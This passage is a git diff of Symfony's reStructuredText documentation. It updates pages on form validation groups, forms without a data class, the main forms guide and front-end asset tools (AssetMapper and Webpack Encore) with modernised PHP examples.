$resolver): void + { + $resolver->setDefaults([ + // ... + 'validation_groups' => ['registration'], + ]); + } + +When :ref:`creating forms in controllers <creating-forms-in-controllers>`, pass +it as a form option:: $form = $this->createFormBuilder($user, [ 'validation_groups' => ['registration'], - ])->add(...); + ])->add(/* ... */); + +In both cases, *only* the ``registration`` group will be used to validate the +object. To apply the ``registration`` group *and* all constraints not in any +other group, add the special ``Default`` group:: + + [ + // ... + 'validation_groups' => ['Default', 'registration'], + ] + +.. note:: + + You can use any name for your validation groups. Symfony recommends using + "lower snake case" (e.g. ``foo_bar``), while automatically generated + groups use "UpperCamelCase" (e.g. ``Default``, ``SomeClassName``). + +Choosing Validation Groups Based on the Clicked Button +------------------------------------------------------ + +When your form has :doc:`multiple submit buttons </form/multiple_buttons>`, you +can change the validation group based on the clicked button. For example, in a +multi-step form like the following, you might want to skip validation when +returning to a previous step:: + + $form = $this->createFormBuilder($task) + // ... + ->add('nextStep', SubmitType::class) + ->add('previousStep', SubmitType::class) + ->getForm(); + +To do so, configure the validation groups of the ``previousStep`` button to +``false``, which is a special value that skips validation:: -When :ref:`creating forms in classes <creating-forms-in-classes>`, add the -following to the ``configureOptions()`` method:: + $form = $this->createFormBuilder($task) + // ... + ->add('previousStep', SubmitType::class, [ + 'validation_groups' => false, + ]) + ->getForm(); +Now the form will skip your validation constraints when that button is clicked. +It will still validate basic integrity constraints, such as checking whether an +uploaded file was too large or whether you tried to submit text in a number field. + +Choosing Validation Groups Based on Submitted Data +-------------------------------------------------- + +To determine validation groups dynamically based on submitted data, use a +callback. This is called after the form is submitted, but before validation is +invoked. The callback receives the form object as its first argument:: + + use App\Entity\Client; + use Symfony\Component\Form\FormInterface; use Symfony\Component\OptionsResolver\OptionsResolver; - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ - // ... - 'validation_groups' => ['registration'], + 'validation_groups' => function (FormInterface $form): array { + $data = $form->getData(); + + if (Client::TYPE_PERSON === $data->getType()) { + return ['Default', 'person']; + } + + return ['Default', 'company']; + }, ]); } -In both of these cases, *only* the ``registration`` validation group will -be used to validate the underlying object. To apply the ``registration`` -group *and* all constraints that are not in a group, use:: +.. note:: - 'validation_groups' => ['Default', 'registration'] + Adding ``Default`` to the list of validation groups is common but not mandatory. + See the main :doc:`article about validation groups </validation/groups>` to + learn more about validation groups and the default constraints. -.. note:: +You can also pass a static class method callback:: + + 'validation_groups' => [Client::class, 'determineValidationGroups'] + +Choosing Validation Groups via a Service +---------------------------------------- + +If validation group logic requires services or can't fit in a closure, use a +dedicated validation group resolver service. The class of this service must +be invokable and receives the form object as its first argument:: + + // src/Validation/ValidationGroupResolver.php + namespace App\Validation; + + use Symfony\Component\Form\FormInterface; + + class ValidationGroupResolver + { + public function __construct( + private object $service1, + private object $service2, + ) { + } + + public function __invoke(FormInterface $form): array + { + $groups = []; + + // ... determine which groups to return + + return $groups; + } + } + +Then use the service in your form type:: + + namespace App\Form; + + use App\Validation\ValidationGroupResolver; + use Symfony\Component\Form\AbstractType; + use Symfony\Component\OptionsResolver\OptionsResolver; + + class MyClassType extends AbstractType + { + public function __construct( + private ValidationGroupResolver $groupResolver, + ) { + } + + public function configureOptions(OptionsResolver $resolver): void + { + $resolver->setDefaults([ + 'validation_groups' => $this->groupResolver, + ]); + } + } + +Learn More +---------- - You can choose any name for your validation groups, but Symfony recommends - using "lower snake case" names (e.g. ``foo_bar``) in contrast with the - automatic validation groups created by Symfony, which use "upper camel case" - (e.g. ``Default``, ``SomeClassName``). +For more information about how validation groups work, see +:doc:`/validation/groups`. diff --git a/form/without_class.rst b/form/without_class.rst index 50efc1dbcc7..c31ff346170 100644 --- a/form/without_class.rst +++ b/form/without_class.rst @@ -1,39 +1,43 @@ -.. index:: - single: Forms; With no class - How to Use a Form without a Data Class ====================================== In most cases, a form is tied to an object, and the fields of the form get -and store their data on the properties of that object. This is exactly what -you've seen so far in this article with the ``Task`` class. +and store their data on the properties of that object. This is what +:doc:`the main article on forms </forms>` is about. But sometimes, you may want to use a form without a class, and get back an array of the submitted data. The ``getData()`` method allows you to do exactly that:: - // make sure you've imported the Request namespace above the class + // src/Controller/ContactController.php + namespace App\Controller; + + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; // ... - public function contact(Request $request) + class ContactController extends AbstractController { - $defaultData = ['message' => 'Type your message here']; - $form = $this->createFormBuilder($defaultData) - ->add('name', TextType::class) - ->add('email', EmailType::class) - ->add('message', TextareaType::class) - ->add('send', SubmitType::class) - ->getForm(); - - $form->handleRequest($request); - - if ($form->isSubmitted() && $form->isValid()) { - // data is an array with "name", "email", and "message" keys - $data = $form->getData(); + public function contact(Request $request): Response + { + $defaultData = ['message' => 'Type your message here']; + $form = $this->createFormBuilder($defaultData) + ->add('name', TextType::class) + ->add('email', EmailType::class) + ->add('message', TextareaType::class) + ->add('send', SubmitType::class) + ->getForm(); + + $form->handleRequest($request); + + if ($form->isSubmitted() && $form->isValid()) { + // data is an array with "name", "email", and "message" keys + $data = $form->getData(); + } + + // ... render the form } - - // ... render the form } By default, a form actually assumes that you want to work with arrays of @@ -55,7 +59,7 @@ an array. You can also access POST values (in this case "name") directly through the request object, like so:: - $request->request->get('name'); + $request->getPayload()->get('name'); Be advised, however, that in most cases using the ``getData()`` method is a better choice, since it returns the data (usually an object) after @@ -72,11 +76,14 @@ you want to use. See :doc:`/validation` for more details. .. _form-option-constraints: -But if the form is not mapped to an object and you instead want to retrieve a +But if the form is not mapped to an object and you instead want to retrieve an array of your submitted data, how can you add constraints to the data of your form? -The answer is to set up the constraints yourself, and attach them to the individual +Constraints At Field Level +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +One possibility is to set up the constraints yourself, and attach them to the individual fields. The overall approach is covered a bit more in :doc:`this validation article </validation/raw_values>`, but here's a short example:: @@ -85,16 +92,16 @@ but here's a short example:: use Symfony\Component\Validator\Constraints\Length; use Symfony\Component\Validator\Constraints\NotBlank; - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder ->add('firstName', TextType::class, [ - 'constraints' => new Length(['min' => 3]), + 'constraints' => new Length(min: 3), ]) ->add('lastName', TextType::class, [ 'constraints' => [ new NotBlank(), - new Length(['min' => 3]), + new Length(min: 3), ], ]) ; @@ -114,8 +121,97 @@ but here's a short example:: submitted data is validated using the ``Symfony\Component\Validator\Constraints\Valid`` constraint, unless you :doc:`disable validation </form/disabling_validation>`. -.. caution:: +.. warning:: When a form is only partially submitted (for example, in an HTTP PATCH request), only the constraints from the submitted form fields will be evaluated. + +Constraints At Class Level +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Another possibility is to add the constraints at the class level. +This can be done by setting the ``constraints`` option in the +``configureOptions()`` method:: + + use Symfony\Component\Form\Extension\Core\Type\TextType; + use Symfony\Component\Form\FormBuilderInterface; + use Symfony\Component\OptionsResolver\OptionsResolver; + use Symfony\Component\Validator\Constraints\Collection; + use Symfony\Component\Validator\Constraints\Length; + use Symfony\Component\Validator\Constraints\NotBlank; + + public function buildForm(FormBuilderInterface $builder, array $options): void + { + $builder + ->add('firstName', TextType::class) + ->add('lastName', TextType::class); + } + + public function configureOptions(OptionsResolver $resolver): void + { + $resolver->setDefaults([ + 'data_class' => null, + 'constraints' => new Collection([ + 'firstName' => new Length(min: 3), + 'lastName' => [ + new NotBlank(), + new Length(min: 3), + ], + ]), + ]); + } + +This means you can also do this when using the ``createFormBuilder()`` method +in your controller:: + + $form = $this->createFormBuilder($defaultData, [ + 'constraints' => [ + 'firstName' => new Length(['min' => 3]), + 'lastName' => [ + new NotBlank(), + new Length(['min' => 3]), + ], + ], + ]) + ->add('firstName', TextType::class) + ->add('lastName', TextType::class) + ->getForm(); + +Conditional Constraints +~~~~~~~~~~~~~~~~~~~~~~~ + +It's possible to define field constraints that depend on the value of other +fields (e.g. a field must not be blank when another field has a certain value). +To achieve this, use the ``expression`` option of the +:doc:`When constraint </reference/constraints/When>` to reference the other field:: + + $builder + ->add('how_did_you_hear', ChoiceType::class, [ + 'required' => true, + 'label' => 'How did you hear about us?', + 'choices' => [ + 'Search engine' => 'search_engine', + 'Friends' => 'friends', + 'Other' => 'other', + ], + 'expanded' => true, + 'constraints' => [ + new Assert\NotBlank(), + ] + ]) + + // this field is only required if the value of the 'how_did_you_hear' field is 'other' + ->add('other_text', TextType::class, [ + 'required' => false, + 'label' => 'Please specify', + 'constraints' => [ + new Assert\When( + expression: 'this.getParent().get("how_did_you_hear").getData() == "other"', + constraints: [ + new Assert\NotBlank(), + ], + ) + ], + ]) + ; diff --git a/forms.rst b/forms.rst index 5867d2f07d1..83065d7524b 100644 --- a/forms.rst +++ b/forms.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms - Forms ===== @@ -46,25 +43,26 @@ following ``Task`` class:: class Task { - protected $task; - protected $dueDate; + protected string $task; + + protected ?\DateTimeInterface $dueDate; - public function getTask() + public function getTask(): string { return $this->task; } - public function setTask($task) + public function setTask(string $task): void { $this->task = $task; } - public function getDueDate() + public function getDueDate(): ?\DateTimeInterface { return $this->dueDate; } - public function setDueDate(\DateTime $dueDate = null) + public function setDueDate(?\DateTimeInterface $dueDate): void { $this->dueDate = $dueDate; } @@ -98,6 +96,22 @@ much easier to implement. There are tens of :doc:`form types provided by Symfony </reference/forms/types>` and you can also :doc:`create your own form types </form/create_custom_field_type>`. +.. tip:: + + You can use the ``debug:form`` to list all the available types, type + extensions and type guessers in your application: + + .. code-block:: terminal + + $ php bin/console debug:form + + # pass the form type FQCN to only show the options for that type, its parents and extensions. + # For built-in types, you can pass the short classname instead of the FQCN + $ php bin/console debug:form BirthdayType + + # pass also an option name to only display the full definition of that option + $ php bin/console debug:form BirthdayType label_attr + Building Forms -------------- @@ -122,15 +136,16 @@ use the ``createFormBuilder()`` helper:: use Symfony\Component\Form\Extension\Core\Type\SubmitType; use Symfony\Component\Form\Extension\Core\Type\TextType; use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; class TaskController extends AbstractController { - public function new(Request $request) + public function new(Request $request): Response { // creates a task object and initializes some data for this example $task = new Task(); $task->setTask('Write a blog post'); - $task->setDueDate(new \DateTime('tomorrow')); + $task->setDueDate(new \DateTimeImmutable('tomorrow')); $form = $this->createFormBuilder($task) ->add('task', TextType::class) @@ -157,7 +172,7 @@ added a submit button with a custom label for submitting the form to the server. Creating Form Classes ~~~~~~~~~~~~~~~~~~~~~ -Symfony recommends to put as little logic as possible in controllers. That's why +Symfony recommends putting as little logic as possible in controllers. That's why it's better to move complex forms to dedicated classes instead of defining them in controller actions. Besides, forms defined in classes can be reused in multiple actions and services. @@ -178,7 +193,7 @@ implements the interface and provides some utilities:: class TaskType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder ->add('task', TextType::class) @@ -206,12 +221,12 @@ use the ``createForm()`` helper (otherwise, use the ``create()`` method of the class TaskController extends AbstractController { - public function new() + public function new(): Response { // creates a task object and initializes some data for this example $task = new Task(); $task->setTask('Write a blog post'); - $task->setDueDate(new \DateTime('tomorrow')); + $task->setDueDate(new \DateTimeImmutable('tomorrow')); $form = $this->createForm(TaskType::class, $task); @@ -241,7 +256,7 @@ the ``data_class`` option by adding the following to your form type class:: { // ... - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ 'data_class' => Task::class, @@ -254,9 +269,7 @@ the ``data_class`` option by adding the following to your form type class:: Rendering Forms --------------- -Now that the form has been created, the next step is to render it. Instead of -passing the entire form object to the template, use the ``createView()`` method -to build another object with the visual representation of the form:: +Now that the form has been created, the next step is to render it:: // src/Controller/TaskController.php namespace App\Controller; @@ -265,10 +278,11 @@ to build another object with the visual representation of the form:: use App\Form\Type\TaskType; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; class TaskController extends AbstractController { - public function new(Request $request) + public function new(Request $request): Response { $task = new Task(); // ... @@ -276,11 +290,14 @@ to build another object with the visual representation of the form:: $form = $this->createForm(TaskType::class, $task); return $this->render('task/new.html.twig', [ - 'form' => $form->createView(), + 'form' => $form, ]); } } +Internally, the ``render()`` method calls ``$form->createView()`` to +transform the form into a *form view* instance. + Then, use some :ref:`form helper functions <reference-form-twig-functions>` to render the form contents: @@ -311,8 +328,8 @@ suitable for being rendered in an HTML form. As short as this rendering is, it's not very flexible. Usually, you'll need more control about how the entire form or some of its fields look. For example, thanks -to the :doc:`Bootstrap 4 integration with Symfony forms </form/bootstrap4>` you -can set this option to generate forms compatible with the Bootstrap 4 CSS framework: +to the :doc:`Bootstrap 5 integration with Symfony forms </form/bootstrap5>` you +can set this option to generate forms compatible with the Bootstrap 5 CSS framework: .. configuration-block:: @@ -320,7 +337,7 @@ can set this option to generate forms compatible with the Bootstrap 4 CSS framew # config/packages/twig.yaml twig: - form_themes: ['bootstrap_4_layout.html.twig'] + form_themes: ['bootstrap_5_layout.html.twig'] .. code-block:: xml @@ -335,7 +352,7 @@ can set this option to generate forms compatible with the Bootstrap 4 CSS framew https://symfony.com/schema/dic/twig/twig-1.0.xsd"> <twig:config> - <twig:form-theme>bootstrap_4_layout.html.twig</twig:form-theme> + <twig:form-theme>bootstrap_5_layout.html.twig</twig:form-theme> <!-- ... --> </twig:config> </container> @@ -343,16 +360,16 @@ can set this option to generate forms compatible with the Bootstrap 4 CSS framew .. code-block:: php // config/packages/twig.php - $container->loadFromExtension('twig', [ - 'form_themes' => [ - 'bootstrap_4_layout.html.twig', - ], + use Symfony\Config\TwigConfig; + + return static function (TwigConfig $twig): void { + $twig->formThemes(['bootstrap_5_layout.html.twig']); // ... - ]); + }; The :ref:`built-in Symfony form themes <symfony-builtin-forms>` include -Bootstrap 3 and 4 as well as Foundation 5 and 6. You can also +Bootstrap 3, 4 and 5, Foundation 5 and 6, as well as Tailwind 2. You can also :ref:`create your own Symfony form theme <create-your-own-form-theme>`. In addition to form themes, Symfony allows you to @@ -374,34 +391,35 @@ Processing a form means to translate user-submitted data back to the properties of an object. To make this happen, the submitted data from the user must be written into the form object:: + // src/Controller/TaskController.php + // ... use Symfony\Component\HttpFoundation\Request; - public function new(Request $request) + class TaskController extends AbstractController { - // just setup a fresh $task object (remove the example data) - $task = new Task(); + public function new(Request $request): Response + { + // just set up a fresh $task object (remove the example data) + $task = new Task(); - $form = $this->createForm(TaskType::class, $task); + $form = $this->createForm(TaskType::class, $task); - $form->handleRequest($request); - if ($form->isSubmitted() && $form->isValid()) { - // $form->getData() holds the submitted values - // but, the original `$task` variable has also been updated - $task = $form->getData(); + $form->handleRequest($request); + if ($form->isSubmitted() && $form->isValid()) { + // $form->getData() holds the submitted values + // but, the original `$task` variable has also been updated + $task = $form->getData(); - // ... perform some action, such as saving the task to the database - // for example, if Task is a Doctrine entity, save it! - // $entityManager = $this->getDoctrine()->getManager(); - // $entityManager->persist($task); - // $entityManager->flush(); + // ... perform some action, such as saving the task to the database - return $this->redirectToRoute('task_success'); - } + return $this->redirectToRoute('task_success'); + } - return $this->render('task/new.html.twig', [ - 'form' => $form->createView(), - ]); + return $this->render('task/new.html.twig', [ + 'form' => $form, + ]); + } } This controller follows a common pattern for handling forms and has three @@ -416,7 +434,12 @@ possible paths: ``task`` and ``dueDate`` properties of the ``$task`` object. Then this object is validated (validation is explained in the next section). If it is invalid, :method:`Symfony\\Component\\Form\\FormInterface::isValid` returns - ``false`` and the form is rendered again, but now with validation errors; + ``false`` and the form is rendered again, but now with validation errors. + + By passing ``$form`` to the ``render()`` method (instead of + ``$form->createView()``), the response code is automatically set to + `HTTP 422 Unprocessable Content`_. This ensures compatibility with tools + relying on the HTTP specification, like `Symfony UX Turbo`_; #. When the user submits the form with valid data, the submitted data is again written into the form, but this time :method:`Symfony\\Component\\Form\\FormInterface::isValid` @@ -430,12 +453,6 @@ possible paths: that prevents the user from being able to hit the "Refresh" button of their browser and re-post the data. -.. caution:: - - The ``createView()`` method should be called *after* ``handleRequest()`` is - called. Otherwise, when using :doc:`form events </form/events>`, changes done - in the ``*_SUBMIT`` events won't be applied to the view (like validation errors). - .. seealso:: If you need more control over exactly when your form is submitted or which @@ -460,16 +477,17 @@ Before using validation, add support for it in your application: $ composer require symfony/validator Validation is done by adding a set of rules, called (validation) constraints, -to a class. You can add them either to the entity class or to the form class. +to a class. You can add them either to the entity class or by using the +:ref:`constraints option <reference-form-option-constraints>` of form types. To see the first approach - adding constraints to the entity - in action, add the validation constraints, so that the ``task`` field cannot be empty, -and the ``dueDate`` field cannot be empty, and must be a valid ``DateTime`` +and the ``dueDate`` field cannot be empty, and must be a valid ``DateTimeImmutable`` object. .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Task.php namespace App\Entity; @@ -478,16 +496,12 @@ object. class Task { - /** - * @Assert\NotBlank - */ - public $task; - - /** - * @Assert\NotBlank - * @Assert\Type("\DateTime") - */ - protected $dueDate; + #[Assert\NotBlank] + public string $task; + + #[Assert\NotBlank] + #[Assert\Type(\DateTimeInterface::class)] + protected \DateTimeInterface $dueDate; } .. code-block:: yaml @@ -499,12 +513,12 @@ object. - NotBlank: ~ dueDate: - NotBlank: ~ - - Type: \DateTime + - Type: \DateTimeInterface .. code-block:: xml <!-- config/validator/validation.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping @@ -516,7 +530,7 @@ object. </property> <property name="dueDate"> <constraint name="NotBlank"/> - <constraint name="Type">\DateTime</constraint> + <constraint name="Type">\DateTimeInterface</constraint> </property> </class> </constraint-mapping> @@ -534,14 +548,14 @@ object. { // ... - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('task', new NotBlank()); $metadata->addPropertyConstraint('dueDate', new NotBlank()); $metadata->addPropertyConstraint( 'dueDate', - new Type(\DateTime::class) + new Type(\DateTimeInterface::class) ); } } @@ -549,9 +563,8 @@ object. That's it! If you re-submit the form with invalid data, you'll see the corresponding errors printed out with the form. -To see the second approach - adding constraints to the form - and to -learn more about the validation constraints, please refer to the -:doc:`Symfony validation documentation </validation>`. +To see the second approach - adding constraints to the form - refer to +:ref:`this section <form-option-constraints>`. Both approaches can be used together. Other Common Form Features -------------------------- @@ -571,11 +584,11 @@ argument of ``createForm()``:: class TaskController extends AbstractController { - public function new() + public function new(): Response { $task = new Task(); // use some PHP logic to decide if this form field is required or not - $dueDateIsRequired = ... + $dueDateIsRequired = ...; $form = $this->createForm(TaskType::class, $task, [ 'require_due_date' => $dueDateIsRequired, @@ -599,7 +612,7 @@ options they accept using the ``configureOptions()`` method:: { // ... - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ // ..., @@ -623,7 +636,7 @@ Now you can use this new form option inside the ``buildForm()`` method:: class TaskType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder // ... @@ -648,7 +661,7 @@ The ``required`` Option The most common option is the ``required`` option, which can be applied to any field. By default, this option is set to ``true``, meaning that HTML5-ready -browsers will require to fill in all fields before submitting the form. +browsers will require you to fill in all fields before submitting the form. If you don't want this behavior, either :ref:`disable client-side validation <forms-html5-validation-disable>` for the @@ -672,14 +685,13 @@ Set the ``label`` option on fields to define their labels explicitly:: ->add('dueDate', DateType::class, [ // set it to FALSE to not display the label for this field - 'label' => 'To Be Completed Before', + 'label' => 'To Be Completed Before', ]) .. tip:: By default, ``<label>`` tags of required fields are rendered with a - ``required`` CSS class, so you can display an asterisk for required - fields applying these CSS styles: + ``required`` CSS class, so you can display an asterisk by applying a CSS style: .. code-block:: css @@ -692,13 +704,15 @@ Set the ``label`` option on fields to define their labels explicitly:: Changing the Action and HTTP Method ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -By default, a form will be submitted via an HTTP POST request to the same -URL under which the form was rendered. When building the form in the controller, +By default, the ``<form>`` tag is rendered with a ``method="post"`` attribute, +and no ``action`` attribute. This means that the form is submitted via an HTTP +POST request to the same URL under which it was rendered. When building the form, use the ``setAction()`` and ``setMethod()`` methods to change this:: // src/Controller/TaskController.php namespace App\Controller; + // ... use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\Form\Extension\Core\Type\DateType; use Symfony\Component\Form\Extension\Core\Type\SubmitType; @@ -706,7 +720,7 @@ use the ``setAction()`` and ``setMethod()`` methods to change this:: class TaskController extends AbstractController { - public function new() + public function new(): Response { // ... @@ -727,10 +741,11 @@ When building the form in a class, pass the action and method as form options:: use App\Form\TaskType; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + // ... class TaskController extends AbstractController { - public function new() + public function new(): Response { // ... @@ -758,7 +773,8 @@ to the ``form()`` or the ``form_start()`` helper functions: that stores this method. The form will be submitted in a normal ``POST`` request, but :doc:`Symfony's routing </routing>` is capable of detecting the ``_method`` parameter and will interpret it as a ``PUT``, ``PATCH`` or - ``DELETE`` request. See the :ref:`configuration-framework-http_method_override` option. + ``DELETE`` request. The :ref:`http_method_override <configuration-framework-http_method_override>` + option must be enabled for this to work. Changing the Form Name ~~~~~~~~~~~~~~~~~~~~~~ @@ -775,13 +791,15 @@ method:: use App\Form\TaskType; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\Form\FormFactoryInterface; + // ... class TaskController extends AbstractController { - public function new() + public function new(FormFactoryInterface $formFactory): Response { $task = ...; - $form = $this->get('form.factory')->createNamed('my_name', TaskType::class, $task); + $form = $formFactory->createNamed('my_name', TaskType::class, $task); // ... } @@ -820,13 +838,13 @@ Form Type Guessing ~~~~~~~~~~~~~~~~~~ If the object handled by the form includes validation constraints, Symfony can -introspect that metadata to guess the type of your field and set it up for you. -In the above example, Symfony can guess from the validation rules that both the +introspect that metadata to guess the type of your field. +In the above example, Symfony can guess from the validation rules that the ``task`` field is a normal ``TextType`` field and the ``dueDate`` field is a ``DateType`` field. -When building the form, omit the second argument to the ``add()`` method, or -pass ``null`` to it, to enable Symfony's "guessing mechanism":: +To enable Symfony's "guessing mechanism", omit the second argument to the ``add()`` method, or +pass ``null`` to it:: // src/Form/Type/TaskType.php namespace App\Form\Type; @@ -839,7 +857,7 @@ pass ``null`` to it, to enable Symfony's "guessing mechanism":: class TaskType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder // if you don't define field options, you can omit the second argument @@ -851,7 +869,7 @@ pass ``null`` to it, to enable Symfony's "guessing mechanism":: } } -.. caution:: +.. warning:: When using a specific :doc:`form validation group </form/validation_groups>`, the field type guesser will still consider *all* validation constraints when @@ -861,23 +879,21 @@ pass ``null`` to it, to enable Symfony's "guessing mechanism":: Form Type Options Guessing .......................... -When the guessing mechanism is enabled for some field (i.e. you omit or pass -``null`` as the second argument to ``add()``), in addition to its form type, -the following options can be guessed too: +When the guessing mechanism is enabled for some field, in addition to its form type, +the following options will be guessed too: ``required`` - The ``required`` option can be guessed based on the validation rules (i.e. is + The ``required`` option is guessed based on the validation rules (i.e. is the field ``NotBlank`` or ``NotNull``) or the Doctrine metadata (i.e. is the field ``nullable``). This is very useful, as your client-side validation will automatically match your validation rules. ``maxlength`` If the field is some sort of text field, then the ``maxlength`` option attribute - can be guessed from the validation constraints (if ``Length`` or ``Range`` is used) + is guessed from the validation constraints (if ``Length`` or ``Range`` is used) or from the :doc:`Doctrine </doctrine>` metadata (via the field's length). -If you'd like to change one of the guessed values, override it by passing the -option in the options field array:: +If you'd like to change one of the guessed values, override it in the options field array:: ->add('task', null, ['attr' => ['maxlength' => 4]]) @@ -898,16 +914,22 @@ If you need extra fields in the form that won't be stored in the object (for example to add an *"I agree with these terms"* checkbox), set the ``mapped`` option to ``false`` in those fields:: + // ... + use Symfony\Component\Form\Extension\Core\Type\CheckboxType; + use Symfony\Component\Form\Extension\Core\Type\SubmitType; use Symfony\Component\Form\FormBuilderInterface; - public function buildForm(FormBuilderInterface $builder, array $options) + class TaskType extends AbstractType { - $builder - ->add('task') - ->add('dueDate') - ->add('agreeTerms', CheckboxType::class, ['mapped' => false]) - ->add('save', SubmitType::class) - ; + public function buildForm(FormBuilderInterface $builder, array $options): void + { + $builder + ->add('task') + ->add('dueDate') + ->add('agreeTerms', CheckboxType::class, ['mapped' => false]) + ->add('save', SubmitType::class) + ; + } } These "unmapped fields" can be set and accessed in a controller with:: @@ -942,7 +964,6 @@ Advanced Features: /controller/upload_file /security/csrf - /form/form_dependencies /form/create_custom_field_type /form/data_transformers /form/data_mappers @@ -955,6 +976,8 @@ Form Themes and Customization: :maxdepth: 1 /form/bootstrap4 + /form/bootstrap5 + /form/tailwindcss /form/form_customization /form/form_themes @@ -972,8 +995,6 @@ Validation: :maxdepth: 1 /form/validation_groups - /form/validation_group_service_resolver - /form/button_based_validation /form/disabling_validation Misc.: @@ -992,3 +1013,5 @@ Misc.: .. _`Symfony Forms screencast series`: https://symfonycasts.com/screencast/symfony-forms .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html +.. _`HTTP 422 Unprocessable Content`: https://www.rfc-editor.org/rfc/rfc9110.html#name-422-unprocessable-content +.. _`Symfony UX Turbo`: https://ux.symfony.com/turbo diff --git a/frontend.rst b/frontend.rst index 47d3111dd33..404c9ade3a3 100644 --- a/frontend.rst +++ b/frontend.rst @@ -1,113 +1,161 @@ -Managing CSS and JavaScript -=========================== +Front-end Tools: Handling CSS & JavaScript +========================================== -.. admonition:: Screencast - :class: screencast +Symfony gives you the flexibility to choose any front-end tools you want. There +are generally two approaches: - Do you prefer video tutorials? Check out the `Webpack Encore screencast series`_. +#. :ref:`building your HTML with PHP & Twig <frontend-twig-php>`; +#. :ref:`building your frontend with a JavaScript framework <frontend-js>` like React, Vue, Svelte, etc. + +Both work great - and are discussed below. + +.. _frontend-twig-php: + +Using PHP & Twig +---------------- + +Symfony comes with two powerful options to help you build a modern and fast frontend: + +* :ref:`AssetMapper <frontend-asset-mapper>` (recommended for new projects) runs + entirely in PHP, doesn't require any build step and leverages modern web standards. + +* :ref:`Webpack Encore <frontend-webpack-encore>` is built with `Node.js`_ + on top of `Webpack`_. + +================================ ================================== ========== + AssetMapper Encore +================================ ================================== ========== +Production Ready? yes yes +Stable? yes yes +Requirements none Node.js +Requires a build step? no yes +Works in all browsers? yes yes +Supports `Stimulus/UX`_ yes yes +Supports Sass/Tailwind :ref:`yes <asset-mapper-tailwind>` yes +Supports React, Vue, Svelte? yes :ref:`[1] <ux-note-1>` yes +Supports TypeScript :ref:`yes <asset-mapper-ts>` yes +Removes comments from JavaScript no :ref:`[2] <ux-note-2>` yes +Removes comments from CSS no :ref:`[2] <ux-note-2>` yes :ref:`[4] <ux-note-4>` +Versioned assets always optional +Can update 3rd party packages yes no :ref:`[3] <ux-note-3>` +================================ ================================== ========== + +.. _ux-note-1: + +**[1]** Using JSX (React), Vue, etc with AssetMapper is possible, but you'll +need to use their native tools for pre-compilation. Also, some features (like +Vue single-file components) cannot be compiled down to pure JavaScript that can +be executed by a browser. + +.. _ux-note-2: + +**[2]** You can install the `SensioLabs Minify Bundle`_ to minify CSS/JS code +(and remove all comments) when compiling assets with AssetMapper. + +.. _ux-note-3: + +**[3]** If you use ``npm``, there are update checkers available (e.g. ``npm-check``). -Symfony ships with a pure-JavaScript library - called Webpack Encore - that makes -working with CSS and JavaScript a joy. You can use it, use something else, or -create static CSS and JS files in your ``public/`` directory directly and -include them in your templates. +.. _ux-note-4: + +**[4]** CSS comments can be removed using `CssMinimizerPlugin`_, which is included +in Webpack Encore and configurable via ``Encore.configureCssMinimizerPlugin()``. + +.. _frontend-asset-mapper: + +AssetMapper (Recommended) +~~~~~~~~~~~~~~~~~~~~~~~~~ + +.. screencast:: + + Do you prefer video tutorials? Check out the `AssetMapper screencast series`_. + +AssetMapper is the recommended system for handling your assets. It runs entirely +in PHP with no complex build step or dependencies. It does this by leveraging +the ``importmap`` feature of your browser, which is available in all browsers thanks +to a polyfill. + +:doc:`Read the AssetMapper Documentation </frontend/asset_mapper>` .. _frontend-webpack-encore: Webpack Encore --------------- +~~~~~~~~~~~~~~ -`Webpack Encore`_ is a simpler way to integrate `Webpack`_ into your application. -It *wraps* Webpack, giving you a clean & powerful API for bundling JavaScript modules, -pre-processing CSS & JS and compiling and minifying assets. Encore gives you professional -asset system that's a *delight* to use. +.. screencast:: -Encore is inspired by `Webpacker`_ and `Mix`_, but stays in the spirit of Webpack: -using its features, concepts and naming conventions for a familiar feel. It aims -to solve the most common Webpack use cases. + Do you prefer video tutorials? Check out the `Webpack Encore screencast series`_. -.. tip:: +`Webpack Encore`_ is a simpler way to integrate `Webpack`_ into your application. +It wraps Webpack, giving you a clean & powerful API for bundling JavaScript modules, +pre-processing CSS & JS and compiling and minifying assets. - Encore is made by `Symfony`_ and works *beautifully* in Symfony applications. - But it can be used in any PHP application and even with other server side - programming languages! +:doc:`Read the Encore Documentation </frontend/encore/index>` -.. _encore-toc: +Switch from AssetMapper +^^^^^^^^^^^^^^^^^^^^^^^ -Encore Documentation --------------------- +By default, new Symfony webapp projects (created with ``symfony new --webapp myapp``) +use AssetMapper. If you still need to use Webpack 